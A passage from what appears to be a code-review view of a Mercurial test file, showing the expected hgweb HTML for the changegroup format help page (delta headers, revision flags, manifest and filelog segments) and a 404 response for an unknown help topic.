3839 3841 specified in the bundle/changegroup). The format is described more fully in
3840 3842 &quot;hg help internals.bdiff&quot;, but briefly:
3841 3843 </p>
3842 3844 <pre>
3843 3845 +---------------------------------------------------------------+
3844 3846 | | | | |
3845 3847 | start offset | end offset | new length | content |
3846 3848 | (4 bytes) | (4 bytes) | (4 bytes) | (&lt;new length&gt; bytes) |
3847 3849 | | | | |
3848 3850 +---------------------------------------------------------------+
3849 3851 </pre>
3850 3852 <p>
3851 3853 Please note that the length field in the delta data does *not* include itself.
3852 3854 </p>
3853 3855 <p>
3854 3856 In version 1, the delta is always applied against the previous node from
3855 3857 the changegroup or the first parent if this is the first entry in the
3856 3858 changegroup.
3857 3859 </p>
3858 3860 <p>
3859 3861 In version 2 and up, the delta base node is encoded in the entry in the
3860 3862 changegroup. This allows the delta to be expressed against any parent,
3861 3863 which can result in smaller deltas and more efficient encoding of data.
3862 3864 </p>
3863 3865 <p>
3864 3866 The *flags* field holds bitwise flags affecting the processing of revision
3865 3867 data. The following flags are defined:
3866 3868 </p>
3867 3869 <dl>
3868 3870 <dt>32768
3869 3871 <dd>Censored revision. The revision's fulltext has been replaced by censor metadata. May only occur on file revisions.
3870 3872 <dt>16384
3871 3873 <dd>Ellipsis revision. Revision hash does not match data (likely due to rewritten parents).
3872 3874 <dt>8192
3873 3875 <dd>Externally stored. The revision fulltext contains &quot;key:value&quot; &quot;\n&quot; delimited metadata defining an object stored elsewhere. Used by the LFS extension.
3874 3876 <dt>4096
3875 3877 <dd>Contains copy information. This revision changes files in a way that could affect copy tracing. This does *not* affect changegroup handling, but is relevant for other parts of Mercurial.
3876 3878 </dl>
3877 3879 <p>
3878 3880 For historical reasons, the integer values are identical to revlog version 1
3879 3881 per-revision storage flags and correspond to bits being set in this 2-byte
3880 3882 field. Bits were allocated starting from the most-significant bit, hence the
3881 3883 reverse ordering and allocation of these flags.
3882 3884 </p>
3883 3885 <p>
3884 3886 The *pflags* (protocol flags) field holds bitwise flags affecting the protocol
3885 3887 itself. They are first in the header since they may affect the handling of the
3886 3888 rest of the fields in a future version. They are defined as such:
3887 3889 </p>
3888 3890 <dl>
3889 3891 <dt>1 indicates whether to read a chunk of sidedata (of variable length) right
3890 3892 <dd>after the revision flags.
3891 3893 </dl>
3892 3894 <h2>Changeset Segment</h2>
3893 3895 <p>
3894 3896 The *changeset segment* consists of a single *delta group* holding
3895 3897 changelog data. The *empty chunk* at the end of the *delta group* denotes
3896 3898 the boundary to the *manifest segment*.
3897 3899 </p>
3898 3900 <h2>Manifest Segment</h2>
3899 3901 <p>
3900 3902 The *manifest segment* consists of a single *delta group* holding manifest
3901 3903 data. If treemanifests are in use, it contains only the manifest for the
3902 3904 root directory of the repository. Otherwise, it contains the entire
3903 3905 manifest data. The *empty chunk* at the end of the *delta group* denotes
3904 3906 the boundary to the next segment (either the *treemanifests segment* or the
3905 3907 *filelogs segment*, depending on version and the request options).
3906 3908 </p>
3907 3909 <h3>Treemanifests Segment</h3>
3908 3910 <p>
3909 3911 The *treemanifests segment* only exists in changegroup version &quot;3&quot; and &quot;4&quot;,
3910 3912 and only if the 'treemanifest' param is part of the bundle2 changegroup part
3911 3913 (it is not possible to use changegroup version 3 or 4 outside of bundle2).
3912 3914 Aside from the filenames in the *treemanifests segment* containing a
3913 3915 trailing &quot;/&quot; character, it behaves identically to the *filelogs segment*
3914 3916 (see below). The final sub-segment is followed by an *empty chunk* (logically,
3915 3917 a sub-segment with filename size 0). This denotes the boundary to the
3916 3918 *filelogs segment*.
3917 3919 </p>
3918 3920 <h2>Filelogs Segment</h2>
3919 3921 <p>
3920 3922 The *filelogs segment* consists of multiple sub-segments, each
3921 3923 corresponding to an individual file whose data is being described:
3922 3924 </p>
3923 3925 <pre>
3924 3926 +--------------------------------------------------+
3925 3927 | | | | | |
3926 3928 | filelog0 | filelog1 | filelog2 | ... | 0x0 |
3927 3929 | | | | | (4 bytes) |
3928 3930 | | | | | |
3929 3931 +--------------------------------------------------+
3930 3932 </pre>
3931 3933 <p>
3932 3934 The final filelog sub-segment is followed by an *empty chunk* (logically,
3933 3935 a sub-segment with filename size 0). This denotes the end of the segment
3934 3936 and of the overall changegroup.
3935 3937 </p>
3936 3938 <p>
3937 3939 Each filelog sub-segment consists of the following:
3938 3940 </p>
3939 3941 <pre>
3940 3942 +------------------------------------------------------+
3941 3943 | | | |
3942 3944 | filename length | filename | delta group |
3943 3945 | (4 bytes) | (&lt;length - 4&gt; bytes) | (various) |
3944 3946 | | | |
3945 3947 +------------------------------------------------------+
3946 3948 </pre>
3947 3949 <p>
3948 3950 That is, a *chunk* consisting of the filename (not terminated or padded)
3949 3951 followed by N chunks constituting the *delta group* for this file. The
3950 3952 *empty chunk* at the end of each *delta group* denotes the boundary to the
3951 3953 next filelog sub-segment.
3952 3954 </p>
3953 3955
3954 3956 </div>
3955 3957 </div>
3956 3958 </div>
3957 3959
3958 3960
3959 3961
3960 3962 </body>
3961 3963 </html>
3962 3964
3963 3965
3964 3966 $ get-with-headers.py 127.0.0.1:$HGPORT "help/unknowntopic"
3965 3967 404 Not Found
3966 3968
3967 3969 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
3968 3970 <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-US">
3969 3971 <head>
3970 3972 <link rel="icon" href="/static/hgicon.png" type="image/png" />
3971 3973 <meta name="robots" content="index, nofollow" />
3972 3974 <link rel="stylesheet" href="/static/style-paper.css" type="text/css" />
3973 3975 <script type="text/javascript" src="/static/mercurial.js"></script>
3974 3976
3975 3977 <title>test: error</title>
3976 3978 </head>
3977 3979 <body>
3978 3980
3979 3981 <div class="container">
3980 3982 <div class="menu">
3981 3983 <div class="logo">
3982 3984 <a href="https://mercurial-scm.org/">
3983 3985 <img src="/static/hglogo.png" width=75 height=90 border=0 alt="mercurial" /></a>
3984 3986 </div>
3985 3987 <ul>
3986 3988 <li><a href="/shortlog">log</a></li>
3987 3989 <li><a href="/graph">graph</a></li>
3988 3990 <li><a href="/tags">tags</a></li>
3989 3991 <li><a href="/bookmarks">bookmarks</a></li>
3990 3992 <li><a href="/branches">branches</a></li>
3991 3993 </ul>
3992 3994 <ul>
3993 3995 <li><a href="/help">help</a></li>
3994 3996 </ul>
3995 3997 </div>
3996 3998
3997 3999 <div class="main">
3998 4000
3999 4001 <h2 class="breadcrumb"><a href="/">Mercurial</a> </h2>
4000 4002 <h3>error</h3>
4001 4003
4002 4004
4003 4005 <form class="search" action="/log">
4004 4006
4005 4007 <p><input name="rev" id="search1" type="text" size="30" value="" /></p>
4006 4008 <div id="hint">Find changesets by keywords (author, files, the commit message), revision
4007 4009 number or hash, or <a href="/help/revsets">revset expression</a>.</div>
4008 4010 </form>
4009 4011
4010 4012 <div class="description">
4011 4013 <p>
4012 4014 An error occurred while processing your request:
4013 4015 </p>
4014 4016 <p>
4015 4017 Not Found
4016 4018 </p>
4017 4019 </div>
4018 4020 </div>
4019 4021 </div>
4020 4022
4021 4023
4022 4024
4023 4025 </body>
4024 4026 </html>
4025 4027
4026 4028 [1]
4027 4029
4028 4030 $ killdaemons.py
4029 4031
4030 4032 #endif
General Comments 0
You need to be logged in to leave comments. Login now